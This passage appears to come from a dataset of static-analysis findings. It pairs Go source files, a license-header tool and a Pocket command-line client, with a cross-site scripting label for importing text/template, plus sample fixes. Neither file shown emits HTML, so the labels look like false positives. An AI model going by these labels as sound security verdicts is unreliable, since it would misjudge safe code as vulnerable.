\"{{\")\n\tvar y []string\n\tfor _, z := range x {\n\t\tzx := strings.Split(z, \"}}\")\n\t\tvar zxy string\n\t\tif len(zx) == 1 {\n\t\t\tzxy = zx[0]\n\t\t} else if len(zx) <= 2 {\n\t\t\tzxy = zx[1]\n\t\t}\n\t\ty = append(y, zxy)\n\t}\n\treturn y\n}\n\n// replaceTemplateLiteralsWithRegexp replaces all `{{ .Var }}` style template literals\n// with a replacement regexp. Any areas in src that aren't replaced are regexp escaped.\nfunc replaceTemplateLiteralsWithRegexp(src, replacement string) string {\n\tx := splitByTemplateLiteral(src)\n\tfor i, item := range x {\n\t\tx[i] = regexp.QuoteMeta(item)\n\t}\n\treturn strings.Join(x, replacement)\n}\n\nfunc renderHeader(headerText string, tplContent *headerTemplate) (*bytes.Buffer, error) {\n\ttpl, err := template.New(\"\").Parse(headerText)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := new(bytes.Buffer)\n\terr = tpl.Execute(buf, tplContent)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}\n\nfunc getFileInfo(fpath string, cfg *Config) (originalFileContents []byte, templateFilename string, spec *Spec, err error) {\n\n\toriginalFileContents, err = ioutil.ReadFile(fpath)\n\tif err != nil {\n\t\treturn nil, \"\", nil, err\n\t}\n\n\tif cfg.Options.FullFilepath {\n\t\ttemplateFilename = fpath\n\t} else {\n\t\ttemplateFilename = filepath.Base(fpath)\n\t}\n\n\tfor _, s := range cfg.Spec {\n\t\tif s.compRegexp.MatchString(fpath) {\n\t\t\tspec = s\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc generateUpdateTransformation(fpath string, cfg *Config) (*transformation, error) {\n\n\toriginalFileContents, templateFilename, chosenSpec, err := getFileInfo(fpath, cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif chosenSpec == nil {\n\t\tlogger.Printf(\"WARN: Cannot find spec for file '%s'\\n\", fpath)\n\t\treturn nil, nil\n\t}\n\n\tnewFileContents, err := applyHeaderToBytes(templateFilename, cfg.HeaderText, originalFileContents, chosenSpec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif bytes.Equal(originalFileContents, newFileContents) {\n\t\treturn &transformation{\n\t\t\tFilename: fpath,\n\t\t}, nil\n\t}\n\n\treturn &transformation{\n\t\tFilename: fpath,\n\t\tNewFileContents: newFileContents,\n\t}, nil\n}\n\nfunc applyHeaderToBytes(fname, header string, file []byte, spec *Spec) ([]byte, error) {\n\n\tspecHeader := transformHeaderBySpec(header, spec)\n\n\trendered, err := renderHeader(specHeader, newHeaderTemplate(fname))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trxp, err := regexp.Compile(replaceTemplateLiteralsWithRegexp(specHeader, \"(.+)\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar newFile []byte\n\n\tif !rxp.Match(file) {\n\t\tnewFile = append(rendered.Bytes(), []byte(\"\\n\\n\")...)\n\t\tnewFile = append(newFile, file...)\n\t} else {\n\t\tvar firstDone bool\n\t\tnewFile = rxp.ReplaceAllFunc(file, func(b []byte) []byte {\n\t\t\tif firstDone {\n\t\t\t\treturn []byte{} // removes extra/old license headers\n\t\t\t}\n\t\t\tfirstDone = true\n\t\t\treturn rendered.Bytes()\n\t\t})\n\t}\n\n\treturn newFile, nil\n}\n\nfunc generateReplaceTransformation(newHeader, fpath string, cfg *Config) (*transformation, error) {\n\n\toriginalFileContents, templateFilename, chosenSpec, err := getFileInfo(fpath, cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif chosenSpec == nil {\n\t\tlogger.Printf(\"WARN: Cannot find spec for file '%s'\\n\", fpath)\n\t\treturn nil, nil\n\t}\n\n\tnewFileContents, err := replaceHeaderInBytes(originalFileContents, templateFilename, cfg.HeaderText, newHeader, chosenSpec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif bytes.Equal(originalFileContents, newFileContents) {\n\t\treturn &transformation{\n\t\t\tFilename: fpath,\n\t\t}, nil\n\t}\n\n\treturn &transformation{\n\t\tFilename: fpath,\n\t\tNewFileContents: newFileContents,\n\t}, nil\n}\n\nfunc replaceHeaderInBytes(file []byte, fname, oldHeader, newHeader string, spec *Spec) ([]byte, error) {\n\n\toldSpecHeader := transformHeaderBySpec(oldHeader, spec)\n\tnewSpecHeader := transformHeaderBySpec(newHeader, spec)\n\n\tnewRendered, err := renderHeader(newSpecHeader, newHeaderTemplate(fname))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trxp, err := regexp.Compile(replaceTemplateLiteralsWithRegexp(oldSpecHeader, \"(.+)\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif rxp.Match(file) {\n\t\treturn rxp.ReplaceAll(file, newRendered.Bytes()), nil\n\t}\n\n\treturn nil, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "2e267283f02d7ca5caa9ce2d3addf0c77d168b4cd1b567cc02b9b6f6cf8af346", "license": {"spdx": ["MIT"], "repo": "nairboon/go-pocket", "path": "cmd/pocket/main.go", "repo_head_hexsha": "5aa52f761862a0e51b4b729500577524062b12a2", "stack_hexsha": "400e45323c27d5ef14175b893ffe98560e7652c6", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 17, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strconv\"\n\t\"text/template\"\n\n\t\"github.com/docopt/docopt-go\"\n\t\"github.com/motemen/go-pocket/api\"\n\t\"github.com/motemen/go-pocket/auth\"\n)\n\nvar version = \"0.1\"\n\nvar defaultItemTemplate = template.Must(template.New(\"item\").Parse(\n\t`[{{.ItemID | printf \"%9d\"}}] {{.Title}} <{{.URL}}>`,\n))\n\nvar configDir string\n\nfunc init() {\n\tusr, err := user.Current()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tconfigDir = filepath.Join(usr.HomeDir, \".config\", \"pocket\")\n\terr = os.MkdirAll(configDir, 0777)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc main() {\n\tusage := `A Pocket client.\n\nUsage:\n pocket list [--format=